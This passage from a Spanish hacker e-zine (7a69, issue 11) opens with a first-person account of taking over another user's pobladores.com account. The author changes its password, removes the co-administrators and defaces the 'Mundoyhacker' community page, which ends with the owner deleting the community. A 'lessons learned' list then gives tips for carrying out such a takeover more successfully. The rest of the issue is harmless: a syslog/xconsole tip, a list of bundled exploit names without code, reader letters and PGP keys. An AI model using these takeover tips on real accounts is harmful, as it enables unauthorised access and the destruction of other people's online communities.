cachondeareis de mi, no tiene na que ver con lo que la
gente llama hack, ni con la IS ni na po el estilo).

Pobladores.com no me puso problemas a la hora de
mandarme el password de la cuenta de Airon2 a su
correo espinola.mola@ozu.es.

(describir el estado de delirium tremens cuando hice
eso es imposible, de hecho quiza fue por el estado de
euforia en que me encontraba que la cague de manera
tan gorda)

Entre en pobladores.com como Airon2 , cambie el
password de usuario y me meti en la configuracion de
Mundoyhacker, borre a todos los coadministradores,
inserte una pagina al principio de las demas, (para
que fuera la de inicio), y empece a escribir en ella
sobre la marcha el texto del Manifesto.

Justo en ese momento las 17:30 + o - Airon2, el
webmaster de Mundoyhacker entro en su cuenta de correo
y vio que pobladores le habia mandado el password de
su cuenta en pobladores....

Mientras tanto yo ajeno al desastre iva escribiendo y
actualizando los cambios a medida que escribia, usease
que me tomaba mi tiempo...

Airon2 llamo a sus colegas (los coadministradores de
Mundoyhacker) que casualmente estaban online......

Y yo modifica que modifica la puta pagina.....

Airon2 intenta entrar en pobladores.com con su
user/passwd y no puede (la habia cambiado yo), sus
colegas al borde de un ataque de nervios le dicen que
alguien es esos mismisimos instantes esta modificando
y remodificando y requetemodificando, una pagina de
inicio nueva que ellos no han visto en la vida y que
habla de no se que puta Asociacion de Usuarios
Desatendidos........

Y yo corrigiendo faltas de ortografia......

Airon2 pide a pobladores.com que le mande la clave a
su mail, y la recibe en su correo, y entra en
pobladores como Airon2 con la nueva clave (la que yo
habia cambiado), y va a Mundoy hacker y se mete en la
configuracion......

En la ultima de las actualizadas que hice pobladores
me dice que no puedo modificar esa pagina
sencillamente porque no existe º_º ¿¿como que no
existe??, me temo lo peor y miro la cuenta de correo,
"
EL" ya esta alli veo que se ha hecho mandar la clave
cambiada, estamos los dos a la vez en su cuenta de
mail y en su cuenta de pobladores....

A partir de entonces empieza una guerra continua de
actualizaciones, cambios de password, y mandadas de
password al mail en el que estabamos, peleandonos asi
estuvimos una hora.....

Debido a una mala conexion de linia (supongo) o a que
me caduco la galletita o no se verifico o yo que se
que, pierdo mi presencia en su correo,....

¬_¬

Solo me queda la batalla por pobladores, entro en
control de datos del usuario Airon2 y cambio la
direccion de mail a el cual hay que mandar el password
(en el caso que se haga la peticion), acto seguido
cambio el password de la cuenta por centesima vez,....

¬_¬u

Demasiado tarde, en un ataque de histeria "
infundada"
Airon2 el autentico lo borra todo, toda su comunidad
virtual, y desaparece de escena.

En realidad yo no queria que esto acabara asi, pero a
lo hecho pecho.


__|''LECCIONES APRENDIDAS''|__

Puede que el caso en si sea algo "
cutre", pero si se
traslada a efectos de hacer algo mas gordo, las
lecciones aprendidas sirven igual.

--mi desconocimiento del servidor de Ozu lo llevo todo
a la ruina, no tenia puta idea de donde podia cambiar
la contraseña, si hubiera hecho eso na mas empezar
todo hubiera cambiado.

--haberlo planeao solo en 10 minutos (demasiado
precipitado).

--hacerlo a las horas ande el 90 por cien de los
internautas esta conectao, (un domingo por la tarde
manda huevos).

--no cambiar la direccion de correo a donde manda
pobladores el passwd, desde el principio(jodeeeerrr).

--no llevar el Manifesto preparado y perder un tiempo
precioso escribiendolo sobre la marcha.

--no contar con algun amigo del alma, que me echara
una mano en los momentos de mayor stress.

--tomarme un cafe con leche y madalenas en medio de
todo ese sarao, (cuando vi que Airon2 estaba
conectado, me dio un patatus tal que deje toda la
superficie de trabajo pringada)

--no llevar un guion de los pasos a hacer bien
estructurado ( cuando estas nervioso, pierdes el
norte)

si se os ocurre alguna otra decidmela, porque toda la
historia esta me fustro bastante y me he jurado a mi
mismo que no volvere cagarla de esta manera nunca mas.


__|''¿¿FIN??''|__

No, Airon2 y sus colegas formaron una asociacion
anti_hackers, dadole a la Asociacion de Usuarios
Desatendidos, la culpa de todo, y vinculando el ataque
a gente que poco o nada sabe del tema:

http://www.pobladores.com/territorios/informatica/anti_aud

Por su parte AUD creo su pagina web, metiendoles mas
leña al fuego y colgando ahi el manifesto que
inicialmente debia ser colgado en MundoyHaker para
verguenza y escarnio publicos:

http://www.pobladores.com/territorios/gente/aud


Los que inicialmente denunciaron las irregularidades
de MundoyHaker, un poblado para novatos en esto de los
ordenadores, se han visto amenazados por Airon2 y los
demas supuestos Hackers de MundoyHacker, pero ellos
siguen pasando de todo y a su rollo, (especialmente
cachondo es el dossier verguenza, que trata sobre el
tema, y unos bugs que tienen descritos ahi de lo mas
sabroson):

http://www.pobladores.com/territorios/informatica/hack_it

...... Y eso es todo, (por ahora)


pa cualquier duda, consejo o incluso para reiros en mi
jeta por mi torpeza...
llllllcodebar@yahoo.com

A los usuarios de Mundoyhacker, mis disculpas. (sorry,
esto no iva con vosotros)

A la gente que le pone empeño en aprender esto mis
saludos.

A los demas usuarios de internet que viven y dejan
vivir, mis respetos.

A los EX-administradores del EX-poblado
Mundoyhacker.... mi mas sentido pesame. (mas que una
muerte, fue un suicidio)

[NOTA-Para variar el fallo aprovechado para hacer todo
esto, no fue mas que la poca gracia que tiene la gente
a la hora de currarse el password][posiblemente todo
este galimatias no os valga para nada, haced con ello
lo que os de la gana, pero si os hace falta traducir,
sabed que podeis contar conmigo, idioma ingles,
conocimientos de electronica y software los
suficientes como para no traducir socket como calcetin
(en lo que a informatica se refiere)]

gracias por vuestra atencion

-=( 5 :-=[ xconsole ]=--=[ trycky ]=-

Muchas veces nos hemos visto que estamos en la terminal y debemos de psar una
direccion o algun dato a leer en las xfree . Lo que muchas veces se solia hacer
era pasarlo a un fichero y leerlo desde una xterm , pero usando el xconsole
nos ahorraremos todo esto con lanzar el "
xconsole" es un monitarizador por las
X de esta forma si ponemos en el "
syslogd.conf" si usamos el syslogd podriamos
hacer que apareciecen los mensajes desde esta y tener mas controlada la maquina
y para lo que yo lo queria explicar era si estamos desde la terminal usando el
BitchX por ejemplo y queremos pasar una direccion al netscape por ejemplo seria
volcando la info al xconsole :

real@lepton:~ > echo "
www.7a69ezine.org" > /dev/xconsole

Apr 4 22:53:21 lepton PAM_unix[290]: (cron) session closed for user mail
www.7a69ezine.org

Como vemos esto seria lo que nos volcaria la xconsole .

Y ahora una linea para el "
syslog.conf" para volcar mas informacion por el
xconsole :

daemon.*;mail.*;\
news.crit;news.err;news.notice;\
*.=debug;*.=info;\
*.=notice;*.=warn |/dev/xconsole

O simplemente :

*.* /dev/xconsole

Bueno esto solo era un consejo que a lo mejor nos sera muy util.
Si teneis problemas al intentar pasar algo al xconsole probar a mirar los
permisos de /dev/xconsole .

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
-=( 7A69 E-zine 11 )=--=( art )=--=( 7a69Soft )=--=( 7a69 )=-

/*
*
* Fichero descriptivo de los programas de 7a69Soft incluidos junto al numero
* 11 de 7a69.
*
* En esta seccion se encuentran mayoritariamente programas realizados por
* el staff de 7a69 pero en otra parte incluimos programas ajenos , lo digo
* que por que ponga "
7a69Soft" no penseis mal xD .
*
*/

#ifdef APLICACIONES

#include "
ip2int.c" /* Coder : tuxisuau */
/* Programar para pasar las ip's a integer */

#include "
ipv.c" /* Coder : trycky */
/* Programar para encriptar en TEA */

#include "
lpdfp" /* Programa creado por f0bic ajeno al staff */
/* pero que hemos incluido por el articulo 4 */
/* Averigua el S.O por medio del daemon del */
/* LPD */
#endif

#ifdef EXPLOITS-DOS

#include "
hp-ux_elmxpl.c /* Coder : Ripe */
/* Exploit para el elm < 2.5.0 sobre HP-UX */

#include "tipxpl.c" /* Coder : Ripe */
/* Exploit para tip solaris(sparc) */

#include "kibitz_xp.c" /* Coder : Lykeios */
/* Exploit /usr/bin/kibitz Linux i386 xploit */

#endif

#ifdef VARIOS

#include "firewall.sh" /* Script creado para las reglas basicas del */
/* iptables . by trycky */

#endif

main() {
read(all);
exit(EXIT_SUCCESS);
}
-=( 7A69 E-zine 11 )=--=( La voz del lector )=--=( Editor )=-

Bueno, una vez mas vuestra seccion... pero antes un recordatorio; la nueva
direccion de 7a69 es:

staff@7a69ezine.org

Es que aun seguimos reciviendo mails a nuestra direccion vieja... ay ay ay.


---/ 0x01 /---

Buenas,
Ante todo felicidades por el ezine ya que contine gran
cantidad de informacion y supone un gran esfuerzo ( yo
intento mantener una pagina web actualizada que es mucho
mas simple y me es casi imposible ;) ). Solo queria
deciros que es una pena que te encuentres tantisimas
faltas de ortografia. Y no me refiero a los acentos ( yo
tb los desprecio xD ) sino faltas tontas una tras otra
que hace que lo que estas leyendo pierda credibilidad. No
se si me explico. El caso es que pienso que la solucion
es tan *simple* como que haya alguien que revise las
textos por encima. Seguro que el 90% de los fallos se
evitarian.

<Ripe: Si si, ya nos lo dicen algunos...
saludos gnd. Pero ¿que le vamos a
hacer? Somos unos analfabestias :)>

Saludos y seguid asi!


--
"He instalado el Windows 98 y me va sin problemas." (Pinocho)
--------------------------------------------------------
| theguest en el IRC-Hispano #teleco_valencia |
|--------------------------------------------------------
| POWERED BY - Debian potato & Win98 |
| La union hace la fuerza |
--------------------------------------------------------

---/ 0x01 /---

---/ 0x02 /---

Buenas,

He visto al final de vuestro ezine que buscais a gente
con ganas de colaborar en ciertos proyectos. Creo que
puedo colaborar en alguno/s de ellos por eso os digo
lo que esta dentro de mis posibilidades: electronica:
debido a mi carrera me como mucho de esto. Podria hacer
un texto sobre los componentes pasivos (resistencias,
bobinas y condensadores) para el proximo numero.

<Ripe: Pues nada que decir... adelante. La
electronica es un tema que nos gustaria
mucho tocar, pero del que nosotros
tenemos poca idea. ¿Alquien sabe que
puedo hacer con un viejo televisor en
blanco y negro el cual ha dejado de
funciona? LLevarlo a reparar ¿no? :)>

traducciones: controlo bastante bien el ingles y no
por el simple hecho de haberlo dado en la escuela.
Si teneis interes en que traduzca algun documento en
especial decidmelo pero ponerme a traducir a lo
tonto paso ;).

<Ripe: Wao! Ya te informaremos>

noticias: redactor de noticias, hummm, bueno, supongo
que necesitaria mas detalles pero supongo que de
esto tb podria colaborar...

<Ripe: Pues este es uno de los proyectos que
estamos preparando, un sistema de
noticiario que permita a los visitantes
de nuestra pagina estar a la ultima en
materia de seguridad informatica,
tambien te informaremos cuando la cosa
este un poco mas cuajada>

Bueno, lo que me gustaria es saber que os interesaria mas que hiciera o si
algo de esto ya esta pillado para no ponerme a escribir como un tonto y que
luego no sirva pa na.

<Ripe: Dale caña con la electronica>

Saludos!

nError 002: No Error - Yet
--------------------------------------------------------
| theguest en el IRC-Hispano #teleco_valencia |
|--------------------------------------------------------
| POWERED BY - Debian potato & Win98 |
| La union hace la fuerza |
--------------------------------------------------------

---/ 0x02 /---

---/ 0x03 /---

Hola, como estan... les escribo para decirles,
que esta buena su e-zine y que sigan asi... y
por otro lado para preguntarles donde puedo
conseguir el video completo que mencionaron
en las seccion "Hackers en la tele" del
numero 8.. "Internet; Zona peligrosa" asi
es como se llama este video.. me gustaria
conseguir este y todos los que se puedan
sobre reportajes y notas a Hackers, Teams,
etc... Asi que si saben algo me escribe Ok.

<Ripe: El video... el video... la
verdad es que ni idea. Prueba
de buscar en Google>


Un salu2... a todos uds.

|\/|r. |\|uk3m
mr_nuk3m@usa.net
Editor De C.I.A Magazine

<Ripe: Humm C.I.A Magazine, os
echaremos un vistazo. Suerte!>

http://cia.punk.com.ar

---/ 0x03 /---

---/ 0x04 /---

Holas penya del ezine. Solo quiero felicitaros
por el ezine, q esta muy currado y me anima mucho
a interesarme por al imformática. Seguid asi pq lo
q haceis tiene mérito chicos (y chicas, si hay
alguna). Adéu i que vagi bé!

<Ripe: Asi me gusta, gente decidida... y
con una tendencia a ligar con las
chicas de 7a69... Trycky saluda :)
Adeu!>

---/ 0x04 /---

-=(EOF)=-

-=( 7A69#11 )=--=( Claves PGP )=-

Aqui incluimos las claves publicas del staff/colabores del Ezine :

<++> pgp/staff.asc

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.0.5 (GNU/Linux)
Comment: For info see http://www.gnupg.org

mQGiBDr4LGwRBACPAkPrm2L2TIBflHX3pu04/4dywvV5/0KS/aT1Vk0fQnl41dX1
bBudfiHIu0AEiVT9Gzjm0jdL/AKiIR5kp64Z4xzFOPGNz+9t2vNufufHBuC/ioSv
INXfQGmEpOOcJCxz9xxbcSAKzlNqcPHfgky5MK+Bn23qxgwf5/5SfZmTmwCg5vXG
u17UGDhrKFBdNqJttQ24BnkD/3T/V9jM7BwpfL65UCwZAi2PkXlOek5xmY1itl1E
UhmmevOaX0BPc+5GlsLb8zopjS74Kx8kJqoRlBoeHmFmuchelJtduR5xPjhLmFce
WMmI0Gs2UC9ZiwjyLizEMDvqprJLcF3urdllkW0SfgKt6wi/fZCdKGGx24YpTpdp
LPU8A/4qQHbJERQt/fZnsY9It5B8e5tj1zsRNjDBnjb5Cpxnocv886EOTqUeKw4J
QkMPH7HPXGKhebDVfDynZzm+YI2/qa8rUOsW+xUBvyh0Wltvr6m9/Ahir4LOdvdA
pAp3To99FxZpROUp0BIYClZMinxC9WYF8BMlKpZMzhL3PqA4w7Q3c3RhZmYgN2E2
OSAoU3RhZmYgb2YgN2E2OSBFLVppbmUpIDxzdGFmZkA3YTY5ZXppbmUub3JnPohX
BBMRAgAXBQI6+CxsBQsHCgMEAxUDAgMWAgECF4AACgkQGNjsiV3EhOnbZwCgt1CN
UV42bWPPZfbC5mAsY80z++0AoOKQaV63GCEyGay1QE270EXm08BTuQENBDr4LG4Q
BACxZHnT5qojDqY6ok0sn92CVRstCexevRH5+UBZQLNVerBWUHKm9644WWASI87c
ocm+ZZtHwkkjJWmzcREZadiXVAt82vCGqqisN8C0cAS0l0rQeUL/oCfxURh3NIuK
k73RSvG4bn/hMCdi2yDEjmSGdu2unqB+3E5bCdAOz+FzuwADBQP+NxZaTNiOkNK3
PCEj3QLaWinaLL8fmp2Ixb5MQDTmMKK6DsEmjN7eIB94G9r4M+ndXBMGZNbOTP63
mLU2OywNcBo9VmFfX8Gse4yae7ox1exoEF4IUw5ugwH3bmHvidN+RjHOvf6ZIwjr
N2LJwtg8N/le4oQjPocmdHxIbPfQ9LSIRgQYEQIABgUCOvgsbgAKCRAY2OyJXcSE
6eh3AJ9mDMhDXXTU+dNFMc5bXwRNo/gD4QCffRd4LJH1St+LiuN9Sk8zfEgFU8w=
=xKTj
-----END PGP PUBLIC KEY BLOCK-----

<-->

<++> pgp/trycky.asc

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.0.5 (GNU/Linux)
Comment: For info see http://www.gnupg.org

mQGiBDr4LL4RBACk+Z4Sveu18sSK2LLTRJNypibfn8WjErweOk8FCPAq2MI+qtfN
UReqMm+DVmw5jM9E6NZfqyraV1bq8jWDz7HqR/XhK2Hx19EWEbaUJNoBb954UEha
HSwAcS2Svdgw4Th78QRRBfGyAZZDRUHESQqcjI1g+//++Du9cbiUKzNZ0wCgmCpa
4TZ02lb8wL4EOyYQlqrkU88D/jbbmJG2RH4DEQpZDIiybHC9tyuBlfKF1HTSbiYt
6fR/LeQZGw0v6xXyIMlxsmNvmTK4FLhKTfkHB9tST4copmTrHFS25ASn1RzG4sP0
JwkZhMSq/oJAKb8oNvprLKBun0BXgGrnZtmeLC6Bd49Wnt8ofP1otJpC4HkzdXOb
TfiVA/9XvYAasUGXh3FyV0YhhkeO08Ff0zQqU/aLwof+vebG30qpsoRJq6vRQYz1
FfiFCBC0uGnD0fGwcgQMJ+e0jCqLmeMGohvxw6BgiAldSoeqnK54/7vE5m18/XF7
2aFBlmSgsubKkHF/kB35cg46o0zn9tQzZGZ3/y/p14npwsv867QddHJ5Y2t5IDx0
cnlja3lAN2E2OWV6aW5lLm9yZz6IVwQTEQIAFwUCOvgsvgULBwoDBAMVAwIDFgIB
AheAAAoJEBNqeR7+yVx/FFcAnjg9TdOzPhB7mGEdduHCEiFMQB2nAJ9KHLRCcb9x
4CKPlYQBtr7sax5uRrkBDQQ6+CzDEAQAjfbDqSjajmOU48vMX2jI19+Lk15h/2W8
vikZNVt5xgNpdI9SYw9a9aPHaCuD1uIwAg0xrfTCqVsNUNU10j19z74+CqpbmWLt
B/sZj1eKI/kBxyq9liWVn1afSV8fkv8vRvcHJCd4omoz/FYIATFQbT78G1lEMSC2
TS75Hkk2oRsAAwUD/jwIVPIAjO6IwX6eJFe6vT+F0mCu4ndfyPdLeuVPgIrmyL4c
TrF4TBse01Dj/KK37WXwlTfY86fxjhD/MipbPlf0nR7IqAzkYd1LHvddgqF5Vr2z
OhKivda5NSZrUMZM+YXx0lDkreG2+ku9DGigl5JDHCbb5tVS9l1WISgLtUeXiEYE
GBECAAYFAjr4LMMACgkQE2p5Hv7JXH83QgCfUS2sl+bB0V3mgqhZ2UMmHhKm/aQA
n3OIydvd/18AoJRuXz5wK2iwKUFC
=ljkN
-----END PGP PUBLIC KEY BLOCK-----

<-->

<++> pgp/lykeios.asc

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGPfreeware 5.5.3i for non-commercial use <http://www.pgpi.com>

mQGiBDiI1s0RBADWpI30TvlZJYNOKDKyJAekoYRnXkNQ04oPaCPnFlpzTV0lRH6K
QwNmapbf9wcJK0LQbXR4StgFrWs4faIbYfZ+vfPWqiIeKeSpXJZyjBSVHVGS3PYj
WzMoMMfwA3d1B3F4bmG554bq27AKdDDqNUyeecJ5Pq9ksYE7+ENGxXTN8QCg/2T+
JaKRq9SzshaDdkx/PWtLO0MEAMNaX2RQCjahbQAdcfvx/zPr0KKh63jdzwjNbo7H
O8qjzpkYteT4Iiy45fOF06vQr5G/qJSoDcaLQcVjWaHRqOM3cGZvAZQj+F/90yf6
P/j9sOeJzavkwkXtz1X5pgOM79YDHvEZUVtEnjw4CBiV+oYL57aJlN3PhTE8W/PA
oOWyA/wPdqVMyqSzmVybGn09kz4JJbCKoipkc2z9XAHuc9YeBtrY8ZMHzEetQCNh
lSJV0/tmUiuCo4AjcCafLopOliCvS4gLTH03PwLOImo21B05J0fZcaeuz/DjYJ5/
eo37SWL1JFlHYPK1i2m1x7ZZveHaBencYvW48gGobF0N72+eMrQdbHlrZWlvcyA8
bHlrZWlvc0BiaWdmb290LmNvbT6JAEsEEBECAAsFAjiI1s0ECwMCAQAKCRBL3z2d
dwxhseJxAKCYWK+iuoexdO99kiuBI+tPpEwo+QCfTWeGNrPd0RopiDZWg+ChbyAv
uVy5Aw0EOIjWzRAMAMwdd1ckOErixPDojhNnl06SE2H22+slDhf99pj3yHx5sHId
OHX79sFzxIMRJitDYMPj6NYK/aEoJguuqa6zZQ+iAFMBoHzWq6MSHvoPKs4fdIRP
yvMX86RA6dfSd7ZCLQI2wSbLaF6dfJgJCo1+Le3kXXn11JJPmxiO/CqnS3wy9kJX
twh/CBdyorrWqULzBej5UxE5T7bxbrlLOCDaAadWoxTpj0BV89AHxstDqZSt90xk
hkn4DIO9ZekX1KHTUPj1WV/cdlJPPT2N286Z4VeSWc39uK50T8X8dryDxUcwYc58
yWb/Ffm7/ZFexwGq01uejaClcjrUGvC/RgBYK+X0iP1YTknbzSC0neSRBzZrM2w4
DUUdD3yIsxx8Wy2O9vPJI8BD8KVbGI2Ou1WMuF040zT9fBdXQ6MdGGzeMyEstSr/
POGxKUAYEY18hKcKctaGxAMZyAcpesqVDNmWn6vQClCbAkbTCD1mpF1Bn5x8vYlL
IhkmuquiXsNV6UwybwACAgwAgcP2WW5FGLaB3agjaw9womNShXLXTVbkWGHvXMpI
BU5G8shYlQevz2B2MBQdMzXIa/sv4ogodz2v0fQGEm7dxiWDqJYEzOfU5t2chEB+
Iklndlou9DVajNH41hm3UoUTEAWQIyPTMlkV5qA6kc0u4CMh5wkbqyLP3DC1viZ8
ecmSOLPlNl3DVwVA7Lk9WAP+QrdWmNVvAV1OnmMBkYHp2HnXAPiFjRDBfKu2AdVL
6rr6HchcC7SH3GNViLi8uvJV83fWTJUCNvaCukzzGksdUV+SfYjPQwXj+vQJUzBN
hQqsHzS+IqUJN4bbEU8P2nn2gvdI3+rq1I/lKtTlshkQCGJ9DTaxFc53TrCsJn2u
3mF+D691G9IStI69oZG9BgvK7m3HVRUrHoBDTmPPuN7HHv86JTMW7xiebzL/pjjQ
1unKNemLDb5QQqv+5LGTtT9Epj9TxP0APC5drgab07HNBfjzp76+e2tG6PsZQLjA
j2NHX0xEZY9hFISe+LNKiUQyiQBGBBgRAgAGBQI4iNbNAAoJEEvfPZ13DGGxrKQA
oO0lrpRxQqkIjl3+FOdNpgwaIdq0AJwM/cxfEIXqHty/2M5l8CNL42H9OQ==
=+u3B
-----END PGP PUBLIC KEY BLOCK-----

<-->

<++> pgp/marconi.asc

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGPfreeware 6.5.1 Int. for non-commercial use <http://www.pgpinternational.com>

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
vmSWG7Q9HX8CSQu0
=7N/J
-----END PGP PUBLIC KEY BLOCK-----

<-->

7a69 E-Zine : staff@7a69ezine.org
-=( 7A69#11 )=--=( Despedida )=--=( 7a69#Staff )=-

Bueno espero que os haya parecido bueno el zine tal vez haya sido un poco flojo
pero por razones de tiempo muchos sources y varios docs que teniamos en mente
varios del Staff se han retrasado un poco y saldran para el #12 que espero
publicarlo justo un mes mas o menos de publicar este mismo para entonces
estaran la mayoria de los programas ya bien preparados y nos daremos un
descanso para el verano , aunque a veces uno piensa que para que molestarse
tanto si nadie nos lee y la mayoria de los documentos siempre tas ya visto
pero en fin espero que dentro de poco este #12 y no se si Ripe volvera a editar
el E-zine o si alguien se encargara de ello xP . Bueno pues hasta dentro de un
mes mas o menos byz .

-=( Two Years )=-

Es dificil mostrar en un articulo como este la gran satisfaccion que se
siente al ver que este proyecto sigue adelante. Que 7a69 ha ido sacando un
numero tras otro durante los ultimos dos años (y pico, no lo olvidemos), 11
numeros que consolidan lo consolidan en el terzer ezine español con mas
numeros publicados, por detras de SET y RaReGaZz (este dato no puede ser
asegurado al cien por cien, pues son ya muchas las ezines que se publican y
es imposible conocerlas todas).

Si miramos atras y vemos el flojo inicio de que esta ezine tuvo, nos
daremos cuenta del gran subidon de nivel que ha tenido, y todo ello gracias
a los colaboradores que poco a poco han ido apareciendo y a todos los
lectores que han ido poniendo interes en nostros, tambien gracias a las
criticas que nos han llegado desde algun otro ezine.

Posiblemente algunos pensaran que 2 años no es mucho, pero nostros (o a
mi, por lo menos) nos parece un periodo de tiempo suficiente para dar las
gracias a todos; al lector, a los colaboradores, a los miembros del staff y
a los que se han dedicado a realizar criticas "constructivas". A todos
vosotros, muchas gracias!

No es malo el pasado de 7a69, pero esperemos que el futuro sea aun mejor.
Nuestras intenciones apuntan a una publicacion eterna, una publicacion que año
tras año vaya mejorando y demostrando que en españa el under esta mas vivo que
nunca, con sus grandes genios, sus script-kidies ,sus fantasmas... para ello
contamos con la colaboracion de 2 nuevos individuo : tuxisuau, un fanatico del
free*, y Anarion, un enfermo del perl que si pudiero cocinaria las pizzas con
ese lenguaje. Ya les ireis conociendo.

Desde aqui, me gustaria tambien, mandarle a trycky un saludo, y desearle que
tenga toda la suerte del mundo en la edicion de 7a69. Yo se que llevar a
delante una publicacion de este tipo no es nada facil, por ello la edicion de
7a69 se va ir turnando (Asi que a los miembros del staff les toca prepararse
para cuando les llegue su turno :), ya lo vereis.

Y sin nada mas que decir aqui, se despide Ripe. No sin antes desear a 7a69....

FELIZ CUMPLEAÑOS

Mail : staff@7a69ezine.org

-=(EOF)=-

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos from Google Play

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT